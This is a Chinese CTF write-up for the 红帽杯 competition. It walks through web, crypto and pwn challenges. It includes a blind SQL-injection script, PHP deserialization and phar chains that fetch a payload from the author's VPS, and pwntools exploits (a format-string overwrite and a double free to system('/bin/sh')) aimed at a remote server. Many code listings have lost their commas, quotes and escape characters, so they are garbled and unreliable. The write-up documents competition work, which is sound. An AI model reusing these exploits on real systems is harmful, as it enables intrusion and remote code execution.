红帽杯-北极星-writeup

  • A+
所属分类:逆向工程

北极星 本次排名5,共解出9道题

红帽杯-北极星-writeup

web

find_it (web1)

查看robots.txt文件发现hint

When I was a child,I also like to read Robots.txt
Here is what you want:1ndexx.php

存在源码泄露.1ndexx.php.swp

<?php $link = mysql_connect('localhost''root'); ?>
<html>
<head>
    <title>Hello worldd!</title>
    <style>
    body {
        background-colorwhite;
        text-aligncenter;
        padding50px;
        font-family"Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
    }
    #logo {
        margin-bottom40px;
    }
    </style>
</head>
<body>
    <img id="logo" src="logo.png" />
    <h1><?php echo "Hello My freind!"?></h1>
    <?php if($link) { ?>
        <h2>I Can't view my php files?!</h2>
    <?php } else { ?>
        <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
    <?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|~|^|`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
    die("you die");
}
if(strlen($a)>33){
    die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>

构造请求

红帽杯-北极星-writeup

base32解密得到flag

framework (web2)

yii2.0框架审计,先试试网上poc

红帽杯-北极星-writeup

extract变量覆盖

about路由存在反序列化

红帽杯-北极星-writeup

可以看到yii版本Yii Framework/2.0.32

phpggc中存在pop链,直接打

红帽杯-北极星-writeup

蚁剑绕disable_function

红帽杯-北极星-writeup

WebsiteManger (Web3)

注入获得账号密码

admin/0e41ee97bb4e54f9a1cbe

我自己写的一个poc:

# coding:utf-8
import time
import requests
def main():
   url = '题目url'
   flag = ''
   for num in range(1200):
       for asc in range(39128):
           # payload='if(ascii(substr(database(),{},1))>{},1,2)'.format(num, asc)
           # select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())
           # payload='if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{},1))>{},1,2)'.format(num, asc)
           # payload = 'if(ascii(substr((select(group_concat(username))from(users)),{},1))>{},1,2)'.format(num, asc)
           payload = 'if(ascii(substr((select(group_concat(password))from(users)),{},1))>{},1,2)'.format(
               numasc)
           payload=payload.replace(" ""/**/")
           param = {"id"payload}
           r = requests.get(url=urlparams=param)
           print("[" + str(r.status_code+ "]" + "-" + str(num+ "-" + str(asc))
           time.sleep(0.1)
           if "22222222222222222222222222222222222222222222222222" in r.text:
               flag += chr(asc)
               print(flag)
               break
   r=requests.get(url=url,params={'id':2})
   print(r.text)
if __name__ == '__main__':
   main()

然后curl利用协议ssrf读本地内容

file:///flag就出了

ezlight (Web4)

后台登录密码admin/admin

源码下载下来是一个cms

在github可以找到对应的 cmshttps://github.com/eddy8/lightCMS

用bc4比较了一下,没啥区别,修改的地方不太重要。

在issue中看到了gml师傅在二月份提交的rce漏洞https://github.com/eddy8/LightCMS/issues/19

原来的版本可以在NEditorController中任意文件读和任意文件上传,具体可以查看该issue。

在补丁中限制了远程下载的内容和后缀。

红帽杯-北极星-writeup

一开始以为可以通过imagecreatefromwebp函数触发phar反序列化

红帽杯-北极星-writeup

但是isWebp限制了curl了url的内容

红帽杯-北极星-writeup

但是观察到Image::make($data)$data是可控的,Image::make看上去像是图片处理函数,那么也有可能也能触发phar反序列化。

跟进Image::make,应该是Facade模式动态调用的。动态调试找到make函数

红帽杯-北极星-writeup

直接看init函数,在判断输入的$data内容的类型。

红帽杯-北极星-writeup

在initFromUrl中使用了file_get_contents,自此我们可以实现触发phar反序列化

红帽杯-北极星-writeup

最后就是利用了,已知为laravel6.0,可以直接用phpggc中的gadget。所以我们需要先上传一个phar文件,然后让远程curl的时候回复phar://xxx,那么就可以触发了。

红帽杯-北极星-writeup

先整生成payload

红帽杯-北极星-writeup

admin/admin登陆后台,上传使用/admin/neditor/serve/uploadFile接口,返回文件地址。

红帽杯-北极星-writeup


http://(vps_ip):30000远程回显一个phar payload触发反序列化。

红帽杯-北极星-writeup



Misc

签到

WP: dd conv=ascii if=EBCDIC.txt of=out.txt ; cat out.txt

Crypto

hpcurve

直接脚本运行后得到类似flag部分,是正确flag的最后一部分

红帽杯-北极星-writeup

import itertools
import struct

p = 10000000000000001119

R.<x> = GF(p)[]; y=x
f = y + y^7
C = HyperellipticCurve(f0)
J = C.jacobian()
Ds = [J(C(xmin(f(x).sqrt(0,1)))) for x in (11,22,33)]

enc=bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_pt = 'aaaaaaaaaaaaaaaaaaaaflag'.encode()

rng_output = bytes(e^^m for e,m in zip(encknown_pt))
blocks = [rng_output[i:i+8for i in range(0len(rng_output),8)]
ui = [int.from_bytes(r'little'for r in blocks]
u = x^3 + ui[2]*x^2 + ui[1]*x + ui[0]

L = GF(p).algebraic_closure()
roots = [r[0for r in u.change_ring(L).roots()]

RR.<zz> = PolynomialRing(L)
v = RR.lagrange_polynomial([(xif(xi).sqrt()) for xi in roots])
vi = [v.coefficients()[i].as_finite_field_element()[1for i in range(3)]
vi = [(int(-c), int(c)) for c in vi]
for rs in itertools.product(*vi):
   q = struct.pack('<'+'Q'*len(rs), *rs)
   flag=''
   key=rng_output+q
   lens=len(rng_output+q)
   i = 0
   for x in enc:
       flag += chr(key[i%lens]^^x)
       i+=1
   print (flag)
  • 多次重新构造环,获得不同的key,拿到剩余flag

import itertools
import struct

p = 10000000000000001119

R.<x> = GF(p)[]; y=x
f = y + y^7
C = HyperellipticCurve(f0)
J = C.jacobian()
Ds = [J(C(xmin(f(x).sqrt(0,1)))) for x in (11,22,33)]

enc=bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_pt = 'aaaaaaaaaaaaaaaaaaaaflag{'.encode()

rng_output = bytes(e^^m for e,m in zip(encknown_pt))
blocks = [rng_output[i:i+8for i in range(0len(rng_output),8)]
ui = [int.from_bytes(r'little'for r in blocks]
u = x^3 + ui[2]*x^2 + ui[1]*x + ui[0]

L = GF(p).algebraic_closure()
roots = [r[0for r in u.change_ring(L).roots()]

for _ in range(3):
   RR.<zz> = PolynomialRing(L)
   v = RR.lagrange_polynomial([(xif(xi).sqrt()) for xi in roots])
   vi = [v.coefficients()[i].as_finite_field_element()[1for i in range(3)]
   vi = [(int(-c), int(c)) for c in vi]
   for rs in itertools.product(*vi):
      key = struct.pack('<'+'Q'*len(rs), *rs)
      lens = len(key)
      flag = ""
      for i in range(len(enc)):
           flag += chr(key[i%lens]^^enc[i])
      print(flag)

红帽杯-北极星-writeup

  • 拼接得到flag

primegame

import math
from decimal import *
import random
import struct

getcontext().prec = int(100)

primes = [2]

for i in range(3100):
   f = True
   for j in primes:
       if i * i < j:
           break
       if i % j == 0:
           f = False
           break
   if f:
       primes.append(i)

keys = []

for i in range(len(primes)):
   keys.append(Decimal(int(primes[i])).ln())


arr = []
for v in keys:
   arr.append(int(v * int(16** int(64)))

def encrypt(res):
   h = Decimal(int(0))
   for i in range(len(keys)):
       h += res[i* keys[i]
   ct = int(h * int(16)**int(64))
   return ct

def f(N):
   ln = len(arr)
   A = Matrix(ZZln + 1ln + 1)
   for i in range(ln):
       A[ii] = 1
       A[iln] = arr[i// N
       A[lni] = 64
   A[lnln] = ct // N
   res = A.LLL()
   for i in range(ln + 1):
       flag = True
       for j in range(ln):
           if -64 <res[i][j< 64:
               continue
           flag = False
           break
       if flag:
           vec = [int(v + 64for v in res[i][:-1]]
           ret = encrypt(vec)
           if ret == ct:
               print(Nbytes(vec))
           else:
               print("NO"retbytes(vec))


ct = 597952043660446249020184773232983974017780255881942379044454676980646417087515453
#ct =425985475047781336789963300910446852783032712598571885345660550546372063410589918
for i in range(210000):
   print(i)
   f(i)

运行得到flag

红帽杯-北极星-writeup

红帽杯-北极星-writeup

PWN

parser

根据规则进入后门来执行 printf,利用格式化字符串来完成利用。

#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import osstructrandomtimesyssignal
context.arch = 'amd64'
# context.log_level = 'debug'
execve_file = './a.out'
# sh = process(execve_file)
sh = remote('47.105.94.48'12435)
header = '''GET / HTTP/1.1r
Host: 47.105.94.48:12435r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9r
Accept-Encoding: gzip, deflater
Accept-Language: zh-HK,zh-CN;q=0.9,zh;q=0.8,en;q=0.7,en-US;q=0.6r
Cache-Control: max-age=0r
Connection: keep-aliver
Content-Length: -10r
r
%261$llx>%128$llx'''
sh.send(header)
sh.recvuntil('> ')
result = sh.recvuntil('>'drop=True)
libc_addr = int(result16- 0x21b97
success("libc_addr: " + hex(libc_addr))
result = sh.recvuntil('>'drop=True)
stack_addr = int(result16)
success("stack_addr: " + hex(stack_addr))
one_gadget = 0x10a45c
header = b'''GET / HTTP/1.1r
Host: 47.105.94.48:12435r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9r
Accept-Encoding: gzip, deflater
Accept-Language: zh-HK,zh-CN;q=0.9,zh;q=0.8,en;q=0.7,en-US;q=0.6r
Cache-Control: max-age=0r
Connection: keep-aliver
Content-Length: -10r
r
'''
content = p64(libc_addr + one_gadget)[:4]
offset = 198
payload = ''
last = 0
for i in range(len(content)):
   if(content[i] == '' and last == 0):
       payload += '%' + str(offset + i+ '$hhn'
   elif(content[i] == chr(last)):
       payload += '%256c%' + str(offset + i+ '$hhn'
   else:
       payload += '%' + str((content[i- last + 0x100% 0x100+ 'c%' + str(offset + i+ '$hhn'
   last = content[i]
payload = payload.encode()
header += payload
header = header.ljust(0x200b''+ p64(stack_addr + 8 + 0+ p64(stack_addr + 8 + 1+ p64(stack_addr + 8 + 2+ p64(stack_addr + 8 + 3)
sh.send(header)
sh.recvuntil('> ')
sh.sendline('')
sh.interactive()
   

manager

这是一个排序二叉树程序

在delete功能中,可以发现在中途有一个free(i->content)的操作

红帽杯-北极星-writeup

该操作对应于图示中的delete(5)的情况,将5节点和6节点的内容交换以后,直接删除原来的6节点

红帽杯-北极星-writeup

后面content还会free一次

红帽杯-北极星-writeup

从而造成double free,由于glibc为2.27,比较方便利用

#coding:utf8
from pwn import *
#sh = process('./chall',env = {'LD_PRELOAD':'./libc-2.27.so'})
sh = remote('47.105.94.48',12243)
libc = ELF('./libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
#sh = process('./chall')
def add(key,size,content):
   sh.sendlineafter('>','1')
   sh.sendlineafter('key>',str(key))
   sh.sendlineafter('len>',str(size))
   sh.sendafter('content>',content)
def delete(key):
   sh.sendlineafter('>','2')
   sh.sendlineafter('key>',str(key))
def show():
   sh.sendlineafter('>','3')
add(10,0x500,'a'*0x40#0
add(5,0x40,'b'*0x40#1
add(4,0x40,'c'*0x40#2
add(7,0x40,'d'*0x40#3
add(6,0x40,'e'*0x40#4
#delete(2)
#delete(5)
delete(10)
add(10,0x500,'a')
show()
sh.recvuntil('key:10 content:')
main_arena_xx = u64(sh.recv(6).ljust(8,'x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000+ (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#double free
delete(5)
add(5,0x40,p64(free_hook_addr))
add(8,0x40,'/bin/shx00')
add(9,0x40,p64(system_addr))
#getshell
delete(8)
sh.interactive()




本文始发于微信公众号(星盟安全):红帽杯-北极星-writeup

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: